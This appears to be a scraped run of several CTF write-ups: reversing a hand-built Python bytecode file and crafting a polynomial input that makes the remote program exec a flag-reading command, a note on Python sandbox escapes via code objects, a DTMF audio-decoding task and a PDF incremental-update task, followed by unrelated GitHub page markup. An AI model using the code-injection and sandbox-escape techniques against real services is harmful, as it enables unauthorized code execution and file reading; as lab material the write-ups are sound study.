When comparing with other `pyc`-files we generated, we didn't find anything obvious wrong with the magic header. Time to dig deeper. Let's extract the marshalled code object and try to disassemble it with the `dis` module:
```pyimport marshal, dis
f = open("challenge.pyc", "rb")f = f.read()[8:]code = marshal.loads(f)print code # dis.dis(code)`````` 0 0 JUMP_ABSOLUTE 6 3 LOAD_CONST 255Traceback (most recent call last): File "grej.py", line 8, in <module> dis.dis(code) File "/home/mkg/miniconda2/lib/python2.7/dis.py", line 43, in dis disassemble(x) File "/home/mkg/miniconda2/lib/python2.7/dis.py", line 95, in disassemble print '(' + repr(co.co_consts[oparg]) + ')',IndexError: tuple index out of range```
---**Side Note:**Python code objects are interesting and can be used to escape python sandbox jail ctf tasks.```pydef f(): print "hello"
print f.func_code # Get code object from functionfunctiontype = type(f)help(functiontype)'''Help on class function in module __builtin__:
class function(object) | function(code, globals[, name[, argdefs[, closure]]]) | | Create a function object from a code object and a dictionary. | The optional name string overrides the name from the code object. | The optional argdefs tuple specifies the default argument values. | The optional closure tuple supplies the bindings for free variables....'''codetype = type(f.func_code)help(codetype)'''Help on class code in module __builtin__:
class code(object) | code(argcount, nlocals, stacksize, flags, codestring, constants, names, | varnames, filename, name, firstlineno, lnotab[, freevars[, cellvars]]) | | Create a code object. Not for the faint of heart....'''
ff = functiontype(f.func_code, {}) # reconstructing function from code objectff() # prints "hello"```
**End of Side Note**
---
The code is trying to load a constant that doesn't exists. Only these consts exist: `print code.co_consts #(0, '>>> ', None, 1, 2, '', 256, '(', ')', 'x', '*', '+')` Since there is only one byte of `'\xff'` in the byte string, let's remove it and hope it fixes it.
```pyimport marshal, dis
f = open("challenge.pyc", "rb")f = f.read()[8:]f = f.replace('\xff', '\x00')code = marshal.loads(f) dis.dis(code)`````` 0 0 JUMP_ABSOLUTE 6 3 LOAD_CONST 0 (0) >> 6 LOAD_CONST 0 (0) >> 9 SETUP_EXCEPT 23 (to 35) >> 12 LOAD_NAME 0 (raw_input) 15 LOAD_CONST 1 ('>>> ') 18 CALL_FUNCTION 1 21 SETUP_LOOP 3 (to 27) 24 JUMP_ABSOLUTE 53 >> 27 LOAD_CONST 2 (None) 30 DUP_TOP 31 EXEC_STMT 32 JUMP_ABSOLUTE 12 >> 35 POP_TOP 36 POP_TOP 37 POP_TOP 38 LOAD_CONST 3 (1) 41 BINARY_ADD 42 DUP_TOP 43 LOAD_CONST 4 (2) 46 COMPARE_OP 0 (<) 49 POP_JUMP_IF_TRUE 9 52 RETURN_VALUE >> 53 LOAD_CONST 5 ('') 56 LOAD_CONST 0 (0) 59 JUMP_ABSOLUTE 77 >> 62 LOAD_NAME 1 (chr) 65 ROT_TWO 66 CALL_FUNCTION 1 69 BINARY_ADD 70 LOAD_FAST 0Traceback (most recent call last): File "grej.py", line 8, in <module> dis.dis(code) File "/home/mkg/miniconda2/lib/python2.7/dis.py", line 43, in dis disassemble(x) File "/home/mkg/miniconda2/lib/python2.7/dis.py", line 101, in disassemble print '(' + co.co_varnames[oparg] + ')',IndexError: tuple index out of range```
We got further now. The first `LOAD_CONST` we changed seems to be jumped over and was only an anti-debugging trick. By looking at the docs for [`dis`](https://docs.python.org/2/library/dis.html) we see that `LOAD_FAST` tries to `Pushes a reference to the local co_varnames[var_num] onto the stack.`. But `co_varnames` is empty.
```pyprint code.co_varnames # ()```
Let's reconstruct the code object with a varname.
```pyimport marshal, dis
f = open("challenge.pyc", "rb")f = f.read()[8:]f = f.replace('\xff', '\x00')code = marshal.loads(f)
codetype = type(code)newcode = codetype(code.co_argcount, code.co_nlocals, code.co_stacksize, code.co_stacksize, code.co_code, code.co_consts, code.co_names, ("var",), code.co_filename, code.co_name, code.co_firstlineno, code.co_lnotab)
dis.dis(newcode)`````` 0 0 JUMP_ABSOLUTE 6 3 LOAD_CONST 0 (0) >> 6 LOAD_CONST 0 (0) >> 9 SETUP_EXCEPT 23 (to 35) >> 12 LOAD_NAME 0 (raw_input) 15 LOAD_CONST 1 ('>>> ') 18 CALL_FUNCTION 1 21 SETUP_LOOP 3 (to 27) 24 JUMP_ABSOLUTE 53 >> 27 LOAD_CONST 2 (None) 30 DUP_TOP 31 EXEC_STMT 32 JUMP_ABSOLUTE 12 >> 35 POP_TOP 36 POP_TOP 37 POP_TOP 38 LOAD_CONST 3 (1) 41 BINARY_ADD 42 DUP_TOP 43 LOAD_CONST 4 (2) 46 COMPARE_OP 0 (<) 49 POP_JUMP_IF_TRUE 9 52 RETURN_VALUE >> 53 LOAD_CONST 5 ('') 56 LOAD_CONST 0 (0) 59 JUMP_ABSOLUTE 77 >> 62 LOAD_NAME 1 (chr) 65 ROT_TWO 66 CALL_FUNCTION 1 69 BINARY_ADD 70 LOAD_FAST 0 (var) 73 LOAD_CONST 3 (1) 76 BINARY_ADD >> 77 STORE_FAST 0 (var) 80 DUP_TOPX 2 . . . . . . . .```
Now we get the full disassembly. Another approach which we also tried was to make a local copy of the `dis` module and add a try/except block around the part that throws an exception.
```py# Local dis.py# ... try: if op >= HAVE_ARGUMENT: oparg = ord(code[i]) + ord(code[i+1])*256 + extended_arg extended_arg = 0 i = i+2 if op == EXTENDED_ARG: extended_arg = oparg*65536L print repr(oparg).rjust(5), if op in hasconst: print '(' + repr(co.co_consts[oparg]) + ')', elif op in hasname: print '(' + co.co_names[oparg] + ')', elif op in hasjrel: print '(to ' + repr(i + oparg) + ')', elif op in haslocal: print '(' + co.co_varnames[oparg] + ')', elif op in hascompare: print '(' + cmp_op[oparg] + ')', elif op in hasfree: if free is None: free = co.co_cellvars + co.co_freevars print '(' + free[oparg] + ')', except Exception as e: print "INDEX ERROR"# ...```
At this point we realized that this code wasn't generated from normal python code. But built by hand. So to understand what it does we had to dig down and read up on python bytecode. The [`dis`](https://docs.python.org/2/library/dis.html) module has documentation of every instruction. We found some of the behaviour of the instructions confusing and it didn't feel apparent which instructions popped the stack or didn't. For instance: `BINARY_ADD() Implements TOS = TOS1 + TOS.` where `TOS` is Top-Of-Stack. I realize now that it does say higher up on the page that it does pop both `TOS` and `TOS1` before pushing the result.
Instead, during the competition, we found a link to the specific switch case in the `CPython` source code on github which interprets the different instructions. [Source](https://github.com/python/cpython/blob/2.7/Python/ceval.c). This was a great resource when reading the disassembly.
Looking at the disassembly we find function calls to `raw_input('>>> ')`, `char` and `int`. We also find an instruction called `EXEC_STMT` which is used to invoke the `exec` statement in python. We can see a path to a solution here. Somehow construct a string with code and pass it to `EXEC_STMT` on the remote instance to then read the flag file.
We realized that we could hook the function calls by constructing a function from the code object using custom globals. This was very useful when understanding what the program did and when we wanted to debug stuff.
```pyimport marshal
f = open("challenge.pyc", "rb")f = f.read()[8:]code = marshal.loads(f)
def f(): passfunctype = type(f)
def our_raw_input(s): print "RAW INPUT:", s return raw_input()def our_chr(n): print "CHR:", chr(n) return chr(n)def our_int(s): print "INT:", s return int(s)ourglobals = {"raw_input": our_raw_input, "chr": our_chr, "int": our_int}
func = functype(code, ourglobals)print "RETURN VALUE:", repr(func())```
Yeah... It inf-loops on the input `3`. We will understand that later.
After reading through the disassembly several times and running it by hand using pen and paper (that is, a text editor) we realized that the program was parsing mathematical expressions containing parentheses, addition, multiplication, single digit integers, and some variable called `x`. So a valid input to the program would be `(4+5+x)*2*x`, `x+1` or `5`. After having evaluated the expression (let's call the result `theResult`), the program appended `chr(theResult)` to a global string and then started over, evaluating the same expression again. If `theResult` of the evaluation became congruent with `0` mod `257` it didn't append to the global string but it instead called `exec` on the global string and stopped.
So, if it keeps evaluating the same expression over and over again, how do we get it to different results? Either we make the expression evaluate to `0` mod `257` or we make it evaluate to something else. Hmmmm... Right! The mysterious variable `x`. It turns out that it corresponds to the current length of the global string. So it will start out as `0` then `1` and so on, increasing consecutively.
Here is pseudo code (python) of what the program does so far:
```pythoncmd = ""expr = raw_input('>>> ')while True: val = evaluate(expr, x=len(cmd)) % 257 if not val: break cmd += chr(val)exec cmd```
After a little thinking we now get a new interpretation of the problem and the program: Given a polynomial modulo `257` it will evaluate it at consecutive integers starting at `x = 0`. If the polynomial ever evaluates to `0`, `exec` the string constructed by the integer sequence generated by the polynomial up until this point. Wow.
Given a string we want to `exec` we can find the associated polynomial by solving a modular linear equation system. This can be done in easily with sagemath. We then want to write out the coefficients as expressions of single digits, addition and multiplication. The simplest way of doing this is just to sum up `1`'s a bunch of times. Here is our polynomial generator:
```pythong = "print(open('flag.txt').read)\0"
n = len(g)mod = 257
M = [[i**p for p in range(n)] for i in range(n)]b = Matrix(GF(mod), list(map(ord, g))).transpose()A = Matrix(GF(mod), M)res = list(map(int, list(A.solve_right(b).transpose()[0])))
def to_poly(c): d = len(c) p = "" for i in range(d): if i == 0: p += str(c[i]) else: p += '+' + str(c[i]) + "*x"*i return p
def decompose(c): return '('+ '+'.join(['1']*c) + ')'
print to_poly(list(map(decompose,res)))```
If we run the local hooked version of challenge.pyc with the polynomial for `print(open('flag.txt').read)` we get the following after suppressing the output for `int` and adding an accumulating string for the command. (For some reason I'm not sure of while writing this it doesn't work with the hooked version, but it does work with the original challenge.pyc. I think this has something to do with our hooked globals.)

Running it against the remote yields the flag: `midnight{pyc_is_not_just_to_uncompyle}` |
## task name
Tone (Forensic, Baby, 10 pts)
## task description
Ha! Looks like this guy forgot to turn off his video stream and entered his password on his phone!
[youtu.be/11k0n7TOYeM](https://youtu.be/11k0n7TOYeM)
## solution
The task description leaves no room to questions - in the video you can clearly hear a guy typing something on his phone and making some keypress beeps in process. These beeps are the tones of [DTFM keypad signals](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling) associated with different keys. Turns out that these beeps can be easily identified and decoded by matchin them to corresponding frequencies as it was first outlined in the [paper by Liu](https://blogs.unimelb.edu.au/sciencecommunication/2012/10/17/melody-behind-phone-numbers/) back in 2012.
To clearly see the spectrogram with the frequencies, we first need to get the audio from the video and convert it to a PCM (pulse-code modulation) signed 24 bits mono wav.
```youtube-dl https://youtu.be/11k0n7TOYeM
ffmpeg -i twitch_saved_video_clip_@thesecretguy98191_2019-07-20-11k0n7TOYeM.mp4 -vn -acodec pcm_s24le -ar 44100 -ac 1 output.wav```
After getting the file ready, we can open it in Audacity, change the view mode to Spectrogram and modify the scale to 650 Hz being the minimum and 1700 Hz being the maximum frequency so we can better see the frequencies for each key press.


It will look like this in Audacity. What you can do next is manually compare each key press with the table of frequencies in the paper by Liu, or you can choose the hacker way and try to set up something to categorize and identify the frequencies for you.
I chose the manual approach first and identified all the tones, which gave me a long string of numbers.
```222999227774442227777777733222777338866666255533355524```
I wanted to double-check the result and also get some new tools, so I tried using some of the tools available on Github, but could not achieve a consistent result.
What worked for me though was an iPhone app called DTMFdecode which identified the tones pretty well and gave me the opportunity to double-check what I parsed manually. You can see on the screenshot below that there is only a minor mistake in recognition for this app.

By looking at the string of numbers you might have already realised that only the numbers from 2 to 9 are occuring, which points to the fact that these numbers represent letters you can see on your phone keypads, with for example A, B and C being under the 2 key.
This means that 222 probably stands for C, or for example B and A and in general it is something called the Multi-tap Cipher (SMS Mode ABC). Looking for a decoder site, I was able to find one [here](https://www.dcode.fr/multitap-abc-cipher) and pasting the numbers gives us the following string.
```CYBRICSSECREUONALFLAG```
I tried bruteforcing more for other possible combinations after the properly guessed CYBRICS part.

SECRETTONA here looks like what we were looking for, which makes the whole string the following:
```CYBRICSSECRETTONALFLAG```
And that gives us 10 points! Brilliant. |
# the-flag-is (200)
## Problem
I have a flag! The flag is... wait... did my PDF editor not save the flag? OH NO! I remember typing it in, can you help me find it?
(Attachments: files/flag.pdf)
## Solution
Let's have a look at the file to see what we're dealing with.
```$ cat flag.pdf %PDF-1.31 0 obj << /Type /Catalog /Pages 2 0 R >>endobj2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >>endobj3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << /Font << /F1 4 0 R >> >> /Contents 5 0 R >>endobj4 0 obj << /Type /Font /Subtype /Type1 /BaseFont /TimesNewRoman >>endobj5 0 obj << /Length 89 /Filter /ASCII85Decode >>stream6<#'\7PQ#?2BYt2+>GQ(+?(u.+B2ko-t6[p@ru=0A2%m[?SlCOFC-k60Qf<]0lB@!1JMFu2`,>XF\lU*2`#N'.3MT)+@T6~>endstreamendobj
xref0 50000000000 65535 f0000000010 00000 n0000000061 00000 n0000000120 00000 n0000000248 00000 n0000000324 00000 ntrailer << /Size 5 /Root 1 0 R >>startxref500%%EOF
5 0 obj << /Length 89 /Filter /ASCII85Decode >>stream6<#'\7PQ#?2BYt2+>GQ(+?(u.+B2ko-rakk+D,FuB-:o0/hSb*+B3(u78s~>endstreamendobj
xref0 10000000000 65535 f5 10000000691 00000 ntrailer << /Size 5 /Root 1 0 R /Prev 500 >>startxref831%%EOF```
These few lines particularly are interesting.
```5 0 obj << /Length 89 /Filter /ASCII85Decode >>stream6<#'\7PQ#?2BYt2+>GQ(+?(u.+B2ko-t6[p@ru=0A2%m[?SlCOFC-k60Qf<]0lB@!1JMFu2`,>XF\lU*2`#N'.3MT)+@T6~>```
It references ASCII 85 and gives us a string. Sure enough, when we decode it using ASCII 85, we get the flag.
```-t6[p@ru=0A2%m[?SlCOFC-k60Qf<]0lB@!1JMFu2`,>XF\lU*2`#N'.3(bcactf{d0n7_4g3t_4b0u7_1nCr3Men74l_uPd473s})```
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-Writeups/2019/Redpwn CTF 2019/Crypt at master · wr47h/CTF-Writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="CCBE:12398:1AC33FA7:1B951278:6412245B" data-pjax-transient="true"/><meta name="html-safe-nonce" content="a8f950626fb2ba12da4acc1cd704a63a883e2867c4be469508b6214328002a49" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDQ0JFOjEyMzk4OjFBQzMzRkE3OjFCOTUxMjc4OjY0MTIyNDVCIiwidmlzaXRvcl9pZCI6IjY2OTIxODkxODQ5NzM3NDMxOTUiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="72373bfd6107b94d399b06b03b82c054060593a95226686ee86ca926322ae93d" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:107017690" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF (Capture The Flag) writeups, code snippets, notes, scripts - CTF-Writeups/2019/Redpwn CTF 2019/Crypt at master · wr47h/CTF-Writeups"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/cfcaee5bfd8b050eff80a53235452fe8f8c1d1fdefe8ccc9425864e6e48f47cf/wr47h/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/2019/Redpwn CTF 2019/Crypt at master · wr47h/CTF-Writeups" /><meta name="twitter:description" content="CTF (Capture The Flag) writeups, code snippets, notes, scripts - CTF-Writeups/2019/Redpwn CTF 2019/Crypt at master · wr47h/CTF-Writeups" /> <meta property="og:image" content="https://opengraph.githubassets.com/cfcaee5bfd8b050eff80a53235452fe8f8c1d1fdefe8ccc9425864e6e48f47cf/wr47h/CTF-Writeups" /><meta property="og:image:alt" content="CTF (Capture The Flag) writeups, code snippets, notes, scripts - CTF-Writeups/2019/Redpwn CTF 2019/Crypt at master · wr47h/CTF-Writeups" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/2019/Redpwn CTF 2019/Crypt at master · wr47h/CTF-Writeups" /><meta property="og:url" content="https://github.com/wr47h/CTF-Writeups" /><meta property="og:description" content="CTF (Capture The Flag) writeups, code snippets, notes, scripts - CTF-Writeups/2019/Redpwn CTF 2019/Crypt at master · wr47h/CTF-Writeups" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/wr47h/CTF-Writeups git https://github.com/wr47h/CTF-Writeups.git">
<meta name="octolytics-dimension-user_id" content="32815207" /><meta name="octolytics-dimension-user_login" content="wr47h" /><meta name="octolytics-dimension-repository_id" content="107017690" /><meta name="octolytics-dimension-repository_nwo" content="wr47h/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="107017690" /><meta name="octolytics-dimension-repository_network_root_nwo" content="wr47h/CTF-Writeups" />
<link rel="canonical" href="https://github.com/wr47h/CTF-Writeups/tree/master/2019/Redpwn%20CTF%202019/Crypt" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
